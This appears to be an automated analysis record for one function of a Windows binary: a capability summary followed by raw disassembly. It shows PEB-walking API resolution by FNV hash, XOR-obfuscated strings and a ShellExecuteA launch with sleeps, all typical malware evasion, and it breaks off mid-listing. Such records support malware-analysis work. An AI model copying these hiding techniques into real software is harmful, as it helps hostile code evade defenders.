Function at 0x14000a210
Capabilities:
Access peb ldr_data
Acquire debug privileges
Create process on windows
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xad8]
sub rsp, 0xbd8
call fcn.140008dd0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a2c7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a2c7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xbc2d3d5f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a2c2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000a2a0
cmp edx, 0x4fbe30be
je 0x14000adb7
test r8d, r8d
jne 0x14000a280
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a2dd
cmp qword [rax + 0x30], 0
jne 0x14000a250
xor edx, edx
movabs rax, 0x605043ab4d60cbd2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x50], rax
movabs r14, 0x82aef2aca4c5b06
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x48], rax
movabs r15, 0x605043ab4d13a7b1
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x518], rax
movdqa xmm0, xmmword [rbp + 0x510]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a3f7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a3f7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xc96d0863
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a3f2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000a3d0
cmp edx, 0x18654bc6
je 0x14000add3
test r8d, r8d
jne 0x14000a3b0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a40d
cmp qword [rax + 0x30], 0
jne 0x14000a380
xor edx, edx
mov ecx, 0xa
call rdx
lea rdx, [0x14001fa20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400155c0
mov rcx, rax
mov dl, 0xa
call fcn.140015830
movabs rax, 0x60353bce6363d3d7
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x40], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x38], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x528], rax
movdqa xmm0, xmmword [rbp + 0x520]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xa10]
call fcn.140014010
mov rcx, rax
call fcn.140009ff0
movabs rax, 0x18356dc62c76d3e2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x30], rax
movabs rax, 0x82aef2aca4c5b63
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x28], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xa30]
call fcn.140014010
mov rcx, rax
call fcn.140009ff0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs r14, 0xf342dc21a4f9df2
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1a0], rax
movabs r15, 0x6d5e9c5399102871
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1a8], rax
movabs r12, 0x8099a0c32486c1a6
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1b0], rax
movabs r13, 0xbd8d3f9439221a5d
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1b8], rax
movabs rdx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb20], rdx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x5e0], rax
movabs rcx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb20], rcx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x5f8], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [rbp + 0x1b0]
xorps xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x1b0], xmm1
movabs rax, 0x605043ab2376d7de
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x20], rax
mov qword [rbp + 0xb20], rcx
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x18], rax
mov qword [rbp + 0xb20], rdx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0xb20], rcx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp - 0x20], xmm0
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp + 0x1a0]
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp rax, 0x20
ja 0x14000ae44
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a797
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a797
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x3a11d962
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a792
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000a770
cmp edx, 0x54e86bcb
je 0x14000adef
test r8d, r8d
jne 0x14000a750
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a7ad
cmp qword [rax + 0x30], 0
jne 0x14000a720
xor r8d, r8d
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 0x10], rax
movabs rbx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb20], rbx
mov rax, qword [rbp + 0xb20]
mov qword [rbp - 8], rax
movabs rdi, 0x605043ab4d13a7b1
mov qword [rbp + 0xb20], rdi
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x550], rax
mov qword [rbp + 0xb20], rbx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x558], rax
movdqa xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs r12, 0x4070638b6d3387bb
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x380], rax
movabs r12, 0x280acf0aea6c7b26
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x388], rax
movabs rax, 0xc685b5e35894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x390], rax
movabs rax, 0xcfef5eb456264259
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x398], rax
movabs rax, 0x89661f85677fe3dc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x981628875be398f9
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xc005fc78e936334e
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x3b0], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0xb20], rdi
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0xb20], rbx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7d0], rax
movabs r13, 0xf76044e67b8ceb8a
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7d8], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7e0], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x7e8], rax
movdqa xmm0, xmmword [rbp + 0x7b0]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x7c0]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x7d0]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm1, xmmword [rbp + 0x3b0]
xorps xmm1, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x3b0], xmm1
lea rdx, [rbp + 0x380]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ab07
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ab07
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x23bd6fb6
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ab02
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000aae0
cmp edx, 0x50492859
je 0x14000ae0c
test r8d, r8d
jne 0x14000aac0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ab1d
cmp qword [rax + 0x30], 0
jne 0x14000aa90
xor eax, eax
mov ecx, 0x1f4
call rax
movabs rax, 0x605043ab4d13879f
mov r14d, 3
movabs r15, 0x82aef2aca4c5b06
movabs r13, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 8], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x560], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ac67
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ac67
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xd05d0b65
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ac62
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ac40
cmp edx, 0x34dca388
je 0x14000ae28
test r8d, r8d
jne 0x14000ac20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ac7d
cmp qword [rax + 0x30], 0
jne 0x14000abf0
xor eax, eax
mov ecx, 0x1f4
call rax
sub r14, 1
movabs rax, 0x605043ab4d13879f
jne 0x14000ab50
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmm1, xmmword [rbp + 0x1d0]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x1d0], xmm1
lea rdx, [rbp + 0x1c0]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000a2df
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000a40f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000a7b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000ab1f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000ac7f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000aee7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000aee7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xacee03c2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000aee2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000aec0
cmp edx, 0xabdd56d4
je 0x14000c1e1
test r8d, r8d
jne 0x14000aea0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000aefd
cmp qword [rax + 0x30], 0
jne 0x14000ae70
xor r8d, r8d
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x1f8], rax
movabs rcx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb20], rcx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x610], rax
movabs rbx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb20], rbx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x618], rax
movabs r9, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], r9
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x620], rax
movabs rdx, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rdx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x628], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1f0]
xorps xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x1f0], xmm1
movabs rax, 0x37352fc43e7dc8f2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x200], rax
movabs rax, 0x6946ac5da528356f
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x208], rax
movabs rax, 0xaee9d4a578b481b8
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0xb20], rdx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x218], rax
mov qword [rbp + 0xb20], rcx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x630], rax
mov qword [rbp + 0xb20], rbx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x638], rax
mov qword [rbp + 0xb20], r9
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x640], rax
mov qword [rbp + 0xb20], rdx
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [rbp + 0x210]
xorps xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x210], xmm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x200]
call r8
mov r15, rax
movabs r12, 0x4070638b6d3387bb
movabs r14, 0xec0570f7175f91b5
movabs r13, 0xf76044e67b8ceb8a
mov qword [rbp + 0xb20], 3
test rax, rax
jne 0x14000b9fe
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b1d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b1d7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x45d0b606
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b1d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b1b0
cmp edx, 0x858c5460
je 0x14000c1fe
test r8d, r8d
jne 0x14000b190
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b1ed
cmp qword [rax + 0x30], 0
jne 0x14000b160
xor r8d, r8d
movabs rax, 0xf342dc21a4f9df2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x220], rax
movabs rax, 0x6d5e9c5399102871
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x228], rax
movabs rax, 0x8099a0c32486c1a6
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x230], rax
movabs rax, 0xbd8d3f9439221a5d
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x238], rax
movabs rdx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rdx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x650], rax
movabs rcx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], rcx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x658], rax
movabs r10, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], r10
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x660], rax
movabs r9, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], r9
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x668], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [rbp + 0x230]
xorps xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x230], xmm1
movabs rax, 0x37352fc43e7dc8f2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x240], rax
movabs rax, 0x6946ac5da528356f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x248], rax
movabs rax, 0xaee9d4a578b481b8
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0xb30], r9
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0xb30], rdx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x670], rax
mov qword [rbp + 0xb30], rcx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x678], rax
mov qword [rbp + 0xb30], r10
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x680], rax
mov qword [rbp + 0xb30], r9
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x688], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [rbp + 0x250]
xorps xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x250], xmm1
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x240]
call r8
mov qword [rbp + 0xb38], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b4b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b4b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xe64f46f7
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b4b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b490
cmp edx, 0x727b76
je 0x14000c21b
test r8d, r8d
jne 0x14000b470
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b4cd
cmp qword [rax + 0x30], 0
jne 0x14000b440
xor edx, edx
movabs rax, 0x605043ab4d60cbd2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x10], rax
movabs rcx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], rcx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x18], rax
movabs r15, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x570], rax
mov qword [rbp + 0xb30], rcx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x578], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b5e7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b5e7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xec9f1a45
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b5e2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b5c0
cmp edx, 0x7c128228
je 0x14000c237
test r8d, r8d
jne 0x14000b5a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b5fd
cmp qword [rax + 0x30], 0
jne 0x14000b570
xor edx, edx
mov ecx, 0xa
call rdx
lea rdx, str._n_____n_____n_____________n_____________n_____________n______________________________________________________________________________n_____________________________________________________________________________________n
